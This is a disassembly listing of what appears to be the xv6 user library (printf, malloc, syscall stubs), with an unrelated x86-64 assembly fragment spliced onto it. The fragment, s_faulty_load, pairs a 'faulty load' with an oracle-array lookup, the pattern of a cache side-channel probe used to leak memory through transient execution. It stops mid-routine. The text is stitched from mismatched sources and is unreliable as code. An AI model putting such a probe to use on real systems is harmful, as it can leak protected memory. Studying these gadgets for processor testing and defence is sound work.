4f7: 0f be 11 movsbl (%ecx),%edx
4fa: 8d 42 d0 lea -0x30(%edx),%eax
4fd: 3c 09 cmp $0x9,%al
4ff: b8 00 00 00 00 mov $0x0,%eax
504: 77 1f ja 525 <atoi+0x35>
506: 8d 76 00 lea 0x0(%esi),%esi
509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
510: 8d 04 80 lea (%eax,%eax,4),%eax
513: 83 c1 01 add $0x1,%ecx
516: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
51a: 0f be 11 movsbl (%ecx),%edx
51d: 8d 5a d0 lea -0x30(%edx),%ebx
520: 80 fb 09 cmp $0x9,%bl
523: 76 eb jbe 510 <atoi+0x20>
n = n*10 + *s++ - '0';
return n;
}
525: 5b pop %ebx
526: 5d pop %ebp
527: c3 ret
528: 90 nop
529: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000530 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
530: 55 push %ebp
531: 89 e5 mov %esp,%ebp
533: 56 push %esi
534: 53 push %ebx
535: 8b 5d 10 mov 0x10(%ebp),%ebx
538: 8b 45 08 mov 0x8(%ebp),%eax
53b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
53e: 85 db test %ebx,%ebx
540: 7e 14 jle 556 <memmove+0x26>
542: 31 d2 xor %edx,%edx
544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
548: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
54c: 88 0c 10 mov %cl,(%eax,%edx,1)
54f: 83 c2 01 add $0x1,%edx
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
552: 39 da cmp %ebx,%edx
554: 75 f2 jne 548 <memmove+0x18>
*dst++ = *src++;
return vdst;
}
556: 5b pop %ebx
557: 5e pop %esi
558: 5d pop %ebp
559: c3 ret
0000055a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
55a: b8 01 00 00 00 mov $0x1,%eax
55f: cd 40 int $0x40
561: c3 ret
00000562 <exit>:
SYSCALL(exit)
562: b8 02 00 00 00 mov $0x2,%eax
567: cd 40 int $0x40
569: c3 ret
0000056a <wait>:
SYSCALL(wait)
56a: b8 03 00 00 00 mov $0x3,%eax
56f: cd 40 int $0x40
571: c3 ret
00000572 <pipe>:
SYSCALL(pipe)
572: b8 04 00 00 00 mov $0x4,%eax
577: cd 40 int $0x40
579: c3 ret
0000057a <read>:
SYSCALL(read)
57a: b8 05 00 00 00 mov $0x5,%eax
57f: cd 40 int $0x40
581: c3 ret
00000582 <write>:
SYSCALL(write)
582: b8 10 00 00 00 mov $0x10,%eax
587: cd 40 int $0x40
589: c3 ret
0000058a <close>:
SYSCALL(close)
58a: b8 15 00 00 00 mov $0x15,%eax
58f: cd 40 int $0x40
591: c3 ret
00000592 <kill>:
SYSCALL(kill)
592: b8 06 00 00 00 mov $0x6,%eax
597: cd 40 int $0x40
599: c3 ret
0000059a <exec>:
SYSCALL(exec)
59a: b8 07 00 00 00 mov $0x7,%eax
59f: cd 40 int $0x40
5a1: c3 ret
000005a2 <open>:
SYSCALL(open)
5a2: b8 0f 00 00 00 mov $0xf,%eax
5a7: cd 40 int $0x40
5a9: c3 ret
000005aa <mknod>:
SYSCALL(mknod)
5aa: b8 11 00 00 00 mov $0x11,%eax
5af: cd 40 int $0x40
5b1: c3 ret
000005b2 <unlink>:
SYSCALL(unlink)
5b2: b8 12 00 00 00 mov $0x12,%eax
5b7: cd 40 int $0x40
5b9: c3 ret
000005ba <fstat>:
SYSCALL(fstat)
5ba: b8 08 00 00 00 mov $0x8,%eax
5bf: cd 40 int $0x40
5c1: c3 ret
000005c2 <link>:
SYSCALL(link)
5c2: b8 13 00 00 00 mov $0x13,%eax
5c7: cd 40 int $0x40
5c9: c3 ret
000005ca <mkdir>:
SYSCALL(mkdir)
5ca: b8 14 00 00 00 mov $0x14,%eax
5cf: cd 40 int $0x40
5d1: c3 ret
000005d2 <chdir>:
SYSCALL(chdir)
5d2: b8 09 00 00 00 mov $0x9,%eax
5d7: cd 40 int $0x40
5d9: c3 ret
000005da <dup>:
SYSCALL(dup)
5da: b8 0a 00 00 00 mov $0xa,%eax
5df: cd 40 int $0x40
5e1: c3 ret
000005e2 <getpid>:
SYSCALL(getpid)
5e2: b8 0b 00 00 00 mov $0xb,%eax
5e7: cd 40 int $0x40
5e9: c3 ret
000005ea <sbrk>:
SYSCALL(sbrk)
5ea: b8 0c 00 00 00 mov $0xc,%eax
5ef: cd 40 int $0x40
5f1: c3 ret
000005f2 <sleep>:
SYSCALL(sleep)
5f2: b8 0d 00 00 00 mov $0xd,%eax
5f7: cd 40 int $0x40
5f9: c3 ret
000005fa <uptime>:
SYSCALL(uptime)
5fa: b8 0e 00 00 00 mov $0xe,%eax
5ff: cd 40 int $0x40
601: c3 ret
602: 66 90 xchg %ax,%ax
604: 66 90 xchg %ax,%ax
606: 66 90 xchg %ax,%ax
608: 66 90 xchg %ax,%ax
60a: 66 90 xchg %ax,%ax
60c: 66 90 xchg %ax,%ax
60e: 66 90 xchg %ax,%ax
00000610 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
610: 55 push %ebp
611: 89 e5 mov %esp,%ebp
613: 57 push %edi
614: 56 push %esi
615: 53 push %ebx
616: 89 c6 mov %eax,%esi
618: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
61b: 8b 5d 08 mov 0x8(%ebp),%ebx
61e: 85 db test %ebx,%ebx
620: 74 7e je 6a0 <printint+0x90>
622: 89 d0 mov %edx,%eax
624: c1 e8 1f shr $0x1f,%eax
627: 84 c0 test %al,%al
629: 74 75 je 6a0 <printint+0x90>
neg = 1;
x = -xx;
62b: 89 d0 mov %edx,%eax
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
neg = 1;
62d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
634: f7 d8 neg %eax
636: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
639: 31 ff xor %edi,%edi
63b: 8d 5d d7 lea -0x29(%ebp),%ebx
63e: 89 ce mov %ecx,%esi
640: eb 08 jmp 64a <printint+0x3a>
642: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
648: 89 cf mov %ecx,%edi
64a: 31 d2 xor %edx,%edx
64c: 8d 4f 01 lea 0x1(%edi),%ecx
64f: f7 f6 div %esi
651: 0f b6 92 10 0a 00 00 movzbl 0xa10(%edx),%edx
}while((x /= base) != 0);
658: 85 c0 test %eax,%eax
x = xx;
}
i = 0;
do{
buf[i++] = digits[x % base];
65a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
65d: 75 e9 jne 648 <printint+0x38>
if(neg)
65f: 8b 45 c4 mov -0x3c(%ebp),%eax
662: 8b 75 c0 mov -0x40(%ebp),%esi
665: 85 c0 test %eax,%eax
667: 74 08 je 671 <printint+0x61>
buf[i++] = '-';
669: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
66e: 8d 4f 02 lea 0x2(%edi),%ecx
671: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
675: 8d 76 00 lea 0x0(%esi),%esi
678: 0f b6 07 movzbl (%edi),%eax
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
67b: 83 ec 04 sub $0x4,%esp
67e: 83 ef 01 sub $0x1,%edi
681: 6a 01 push $0x1
683: 53 push %ebx
684: 56 push %esi
685: 88 45 d7 mov %al,-0x29(%ebp)
688: e8 f5 fe ff ff call 582 <write>
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
68d: 83 c4 10 add $0x10,%esp
690: 39 df cmp %ebx,%edi
692: 75 e4 jne 678 <printint+0x68>
putc(fd, buf[i]);
}
694: 8d 65 f4 lea -0xc(%ebp),%esp
697: 5b pop %ebx
698: 5e pop %esi
699: 5f pop %edi
69a: 5d pop %ebp
69b: c3 ret
69c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
if(sgn && xx < 0){
neg = 1;
x = -xx;
} else {
x = xx;
6a0: 89 d0 mov %edx,%eax
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
6a2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
6a9: eb 8b jmp 636 <printint+0x26>
6ab: 90 nop
6ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000006b0 <printf>:
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
6b0: 55 push %ebp
6b1: 89 e5 mov %esp,%ebp
6b3: 57 push %edi
6b4: 56 push %esi
6b5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6b6: 8d 45 10 lea 0x10(%ebp),%eax
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
6b9: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6bc: 8b 75 0c mov 0xc(%ebp),%esi
}
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
6bf: 8b 7d 08 mov 0x8(%ebp),%edi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
6c2: 89 45 d0 mov %eax,-0x30(%ebp)
6c5: 0f b6 1e movzbl (%esi),%ebx
6c8: 83 c6 01 add $0x1,%esi
6cb: 84 db test %bl,%bl
6cd: 0f 84 b0 00 00 00 je 783 <printf+0xd3>
6d3: 31 d2 xor %edx,%edx
6d5: eb 39 jmp 710 <printf+0x60>
6d7: 89 f6 mov %esi,%esi
6d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
6e0: 83 f8 25 cmp $0x25,%eax
6e3: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
6e6: ba 25 00 00 00 mov $0x25,%edx
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
6eb: 74 18 je 705 <printf+0x55>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
6ed: 8d 45 e2 lea -0x1e(%ebp),%eax
6f0: 83 ec 04 sub $0x4,%esp
6f3: 88 5d e2 mov %bl,-0x1e(%ebp)
6f6: 6a 01 push $0x1
6f8: 50 push %eax
6f9: 57 push %edi
6fa: e8 83 fe ff ff call 582 <write>
6ff: 8b 55 d4 mov -0x2c(%ebp),%edx
702: 83 c4 10 add $0x10,%esp
705: 83 c6 01 add $0x1,%esi
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
708: 0f b6 5e ff movzbl -0x1(%esi),%ebx
70c: 84 db test %bl,%bl
70e: 74 73 je 783 <printf+0xd3>
c = fmt[i] & 0xff;
if(state == 0){
710: 85 d2 test %edx,%edx
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c = fmt[i] & 0xff;
712: 0f be cb movsbl %bl,%ecx
715: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
718: 74 c6 je 6e0 <printf+0x30>
if(c == '%'){
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
71a: 83 fa 25 cmp $0x25,%edx
71d: 75 e6 jne 705 <printf+0x55>
if(c == 'd'){
71f: 83 f8 64 cmp $0x64,%eax
722: 0f 84 f8 00 00 00 je 820 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
728: 81 e1 f7 00 00 00 and $0xf7,%ecx
72e: 83 f9 70 cmp $0x70,%ecx
731: 74 5d je 790 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
733: 83 f8 73 cmp $0x73,%eax
736: 0f 84 84 00 00 00 je 7c0 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
73c: 83 f8 63 cmp $0x63,%eax
73f: 0f 84 ea 00 00 00 je 82f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
745: 83 f8 25 cmp $0x25,%eax
748: 0f 84 c2 00 00 00 je 810 <printf+0x160>
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
74e: 8d 45 e7 lea -0x19(%ebp),%eax
751: 83 ec 04 sub $0x4,%esp
754: c6 45 e7 25 movb $0x25,-0x19(%ebp)
758: 6a 01 push $0x1
75a: 50 push %eax
75b: 57 push %edi
75c: e8 21 fe ff ff call 582 <write>
761: 83 c4 0c add $0xc,%esp
764: 8d 45 e6 lea -0x1a(%ebp),%eax
767: 88 5d e6 mov %bl,-0x1a(%ebp)
76a: 6a 01 push $0x1
76c: 50 push %eax
76d: 57 push %edi
76e: 83 c6 01 add $0x1,%esi
771: e8 0c fe ff ff call 582 <write>
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
776: 0f b6 5e ff movzbl -0x1(%esi),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
77a: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
77d: 31 d2 xor %edx,%edx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
77f: 84 db test %bl,%bl
781: 75 8d jne 710 <printf+0x60>
putc(fd, c);
}
state = 0;
}
}
}
783: 8d 65 f4 lea -0xc(%ebp),%esp
786: 5b pop %ebx
787: 5e pop %esi
788: 5f pop %edi
789: 5d pop %ebp
78a: c3 ret
78b: 90 nop
78c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
790: 83 ec 0c sub $0xc,%esp
793: b9 10 00 00 00 mov $0x10,%ecx
798: 6a 00 push $0x0
79a: 8b 5d d0 mov -0x30(%ebp),%ebx
79d: 89 f8 mov %edi,%eax
79f: 8b 13 mov (%ebx),%edx
7a1: e8 6a fe ff ff call 610 <printint>
ap++;
7a6: 89 d8 mov %ebx,%eax
7a8: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7ab: 31 d2 xor %edx,%edx
if(c == 'd'){
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
printint(fd, *ap, 16, 0);
ap++;
7ad: 83 c0 04 add $0x4,%eax
7b0: 89 45 d0 mov %eax,-0x30(%ebp)
7b3: e9 4d ff ff ff jmp 705 <printf+0x55>
7b8: 90 nop
7b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
} else if(c == 's'){
s = (char*)*ap;
7c0: 8b 45 d0 mov -0x30(%ebp),%eax
7c3: 8b 18 mov (%eax),%ebx
ap++;
7c5: 83 c0 04 add $0x4,%eax
7c8: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
s = "(null)";
7cb: b8 06 0a 00 00 mov $0xa06,%eax
7d0: 85 db test %ebx,%ebx
7d2: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
7d5: 0f b6 03 movzbl (%ebx),%eax
7d8: 84 c0 test %al,%al
7da: 74 23 je 7ff <printf+0x14f>
7dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
7e0: 88 45 e3 mov %al,-0x1d(%ebp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7e3: 8d 45 e3 lea -0x1d(%ebp),%eax
7e6: 83 ec 04 sub $0x4,%esp
7e9: 6a 01 push $0x1
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
7eb: 83 c3 01 add $0x1,%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
7ee: 50 push %eax
7ef: 57 push %edi
7f0: e8 8d fd ff ff call 582 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
7f5: 0f b6 03 movzbl (%ebx),%eax
7f8: 83 c4 10 add $0x10,%esp
7fb: 84 c0 test %al,%al
7fd: 75 e1 jne 7e0 <printf+0x130>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
7ff: 31 d2 xor %edx,%edx
801: e9 ff fe ff ff jmp 705 <printf+0x55>
806: 8d 76 00 lea 0x0(%esi),%esi
809: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
810: 83 ec 04 sub $0x4,%esp
813: 88 5d e5 mov %bl,-0x1b(%ebp)
816: 8d 45 e5 lea -0x1b(%ebp),%eax
819: 6a 01 push $0x1
81b: e9 4c ff ff ff jmp 76c <printf+0xbc>
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
820: 83 ec 0c sub $0xc,%esp
823: b9 0a 00 00 00 mov $0xa,%ecx
828: 6a 01 push $0x1
82a: e9 6b ff ff ff jmp 79a <printf+0xea>
82f: 8b 5d d0 mov -0x30(%ebp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
832: 83 ec 04 sub $0x4,%esp
835: 8b 03 mov (%ebx),%eax
837: 6a 01 push $0x1
839: 88 45 e4 mov %al,-0x1c(%ebp)
83c: 8d 45 e4 lea -0x1c(%ebp),%eax
83f: 50 push %eax
840: 57 push %edi
841: e8 3c fd ff ff call 582 <write>
846: e9 5b ff ff ff jmp 7a6 <printf+0xf6>
84b: 66 90 xchg %ax,%ax
84d: 66 90 xchg %ax,%ax
84f: 90 nop
00000850 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
850: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
851: a1 a0 0d 00 00 mov 0xda0,%eax
static Header base;
static Header *freep;
void
free(void *ap)
{
856: 89 e5 mov %esp,%ebp
858: 57 push %edi
859: 56 push %esi
85a: 53 push %ebx
85b: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
85e: 8b 10 mov (%eax),%edx
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
860: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
863: 39 c8 cmp %ecx,%eax
865: 73 19 jae 880 <free+0x30>
867: 89 f6 mov %esi,%esi
869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
870: 39 d1 cmp %edx,%ecx
872: 72 1c jb 890 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
874: 39 d0 cmp %edx,%eax
876: 73 18 jae 890 <free+0x40>
static Header base;
static Header *freep;
void
free(void *ap)
{
878: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
87a: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
87c: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
87e: 72 f0 jb 870 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
880: 39 d0 cmp %edx,%eax
882: 72 f4 jb 878 <free+0x28>
884: 39 d1 cmp %edx,%ecx
886: 73 f0 jae 878 <free+0x28>
888: 90 nop
889: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
890: 8b 73 fc mov -0x4(%ebx),%esi
893: 8d 3c f1 lea (%ecx,%esi,8),%edi
896: 39 d7 cmp %edx,%edi
898: 74 19 je 8b3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
89a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
89d: 8b 50 04 mov 0x4(%eax),%edx
8a0: 8d 34 d0 lea (%eax,%edx,8),%esi
8a3: 39 f1 cmp %esi,%ecx
8a5: 74 23 je 8ca <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
8a7: 89 08 mov %ecx,(%eax)
freep = p;
8a9: a3 a0 0d 00 00 mov %eax,0xda0
}
8ae: 5b pop %ebx
8af: 5e pop %esi
8b0: 5f pop %edi
8b1: 5d pop %ebp
8b2: c3 ret
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
8b3: 03 72 04 add 0x4(%edx),%esi
8b6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
8b9: 8b 10 mov (%eax),%edx
8bb: 8b 12 mov (%edx),%edx
8bd: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
8c0: 8b 50 04 mov 0x4(%eax),%edx
8c3: 8d 34 d0 lea (%eax,%edx,8),%esi
8c6: 39 f1 cmp %esi,%ecx
8c8: 75 dd jne 8a7 <free+0x57>
p->s.size += bp->s.size;
8ca: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
8cd: a3 a0 0d 00 00 mov %eax,0xda0
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
8d2: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
8d5: 8b 53 f8 mov -0x8(%ebx),%edx
8d8: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
8da: 5b pop %ebx
8db: 5e pop %esi
8dc: 5f pop %edi
8dd: 5d pop %ebp
8de: c3 ret
8df: 90 nop
000008e0 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
8e0: 55 push %ebp
8e1: 89 e5 mov %esp,%ebp
8e3: 57 push %edi
8e4: 56 push %esi
8e5: 53 push %ebx
8e6: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8e9: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
8ec: 8b 15 a0 0d 00 00 mov 0xda0,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
8f2: 8d 78 07 lea 0x7(%eax),%edi
8f5: c1 ef 03 shr $0x3,%edi
8f8: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
8fb: 85 d2 test %edx,%edx
8fd: 0f 84 a3 00 00 00 je 9a6 <malloc+0xc6>
903: 8b 02 mov (%edx),%eax
905: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
908: 39 cf cmp %ecx,%edi
90a: 76 74 jbe 980 <malloc+0xa0>
90c: 81 ff 00 10 00 00 cmp $0x1000,%edi
912: be 00 10 00 00 mov $0x1000,%esi
917: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
91e: 0f 43 f7 cmovae %edi,%esi
921: ba 00 80 00 00 mov $0x8000,%edx
926: 81 ff ff 0f 00 00 cmp $0xfff,%edi
92c: 0f 46 da cmovbe %edx,%ebx
92f: eb 10 jmp 941 <malloc+0x61>
931: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
938: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
93a: 8b 48 04 mov 0x4(%eax),%ecx
93d: 39 cf cmp %ecx,%edi
93f: 76 3f jbe 980 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
941: 39 05 a0 0d 00 00 cmp %eax,0xda0
947: 89 c2 mov %eax,%edx
949: 75 ed jne 938 <malloc+0x58>
char *p;
Header *hp;
if(nu < 4096)
nu = 4096;
p = sbrk(nu * sizeof(Header));
94b: 83 ec 0c sub $0xc,%esp
94e: 53 push %ebx
94f: e8 96 fc ff ff call 5ea <sbrk>
if(p == (char*)-1)
954: 83 c4 10 add $0x10,%esp
957: 83 f8 ff cmp $0xffffffff,%eax
95a: 74 1c je 978 <malloc+0x98>
return 0;
hp = (Header*)p;
hp->s.size = nu;
95c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
95f: 83 ec 0c sub $0xc,%esp
962: 83 c0 08 add $0x8,%eax
965: 50 push %eax
966: e8 e5 fe ff ff call 850 <free>
return freep;
96b: 8b 15 a0 0d 00 00 mov 0xda0,%edx
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
971: 83 c4 10 add $0x10,%esp
974: 85 d2 test %edx,%edx
976: 75 c0 jne 938 <malloc+0x58>
return 0;
978: 31 c0 xor %eax,%eax
97a: eb 1c jmp 998 <malloc+0xb8>
97c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
980: 39 cf cmp %ecx,%edi
982: 74 1c je 9a0 <malloc+0xc0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
984: 29 f9 sub %edi,%ecx
986: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
989: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
98c: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
98f: 89 15 a0 0d 00 00 mov %edx,0xda0
return (void*)(p + 1);
995: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
998: 8d 65 f4 lea -0xc(%ebp),%esp
99b: 5b pop %ebx
99c: 5e pop %esi
99d: 5f pop %edi
99e: 5d pop %ebp
99f: c3 ret
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
9a0: 8b 08 mov (%eax),%ecx
9a2: 89 0a mov %ecx,(%edx)
9a4: eb e9 jmp 98f <malloc+0xaf>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
9a6: c7 05 a0 0d 00 00 a4 movl $0xda4,0xda0
9ad: 0d 00 00
9b0: c7 05 a4 0d 00 00 a4 movl $0xda4,0xda4
9b7: 0d 00 00
base.s.size = 0;
9ba: b8 a4 0d 00 00 mov $0xda4,%eax
9bf: c7 05 a8 0d 00 00 00 movl $0x0,0xda8
9c6: 00 00 00
9c9: e9 3e ff ff ff jmp 90c <malloc+0x2c>
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %r9
push %rax
push %rdx
// Store
mov $0x2d460800000001b6, %r8
nop
nop
nop
nop
nop
xor $50256, %r14
mov $0x5152535455565758, %rax
movq %rax, %xmm2
movups %xmm2, (%r8)
nop
nop
dec %rax
// Store
lea addresses_normal+0x12c8a, %r9
nop
sub %rax, %rax
mov $0x5152535455565758, %r8
movq %r8, %xmm6
movups %xmm6, (%r9)
nop
inc %rax
// Store
mov $0x7199390000000036, %r9
nop
nop
nop
nop
add %rdx, %rdx
movw $0x5152, (%r9)
nop
nop
nop
nop
add %r14, %r14
// Faulty Load
lea addresses_RW+0x1be36, %r14
and $52330, %r12
mov (%r14), %r15
lea oracles, %rax
and $0xff, %r15
shlq $12, %r15
mov (%rax,%r15,1), %r15
pop %rdx
pop %rax
pop %r9
pop %r8
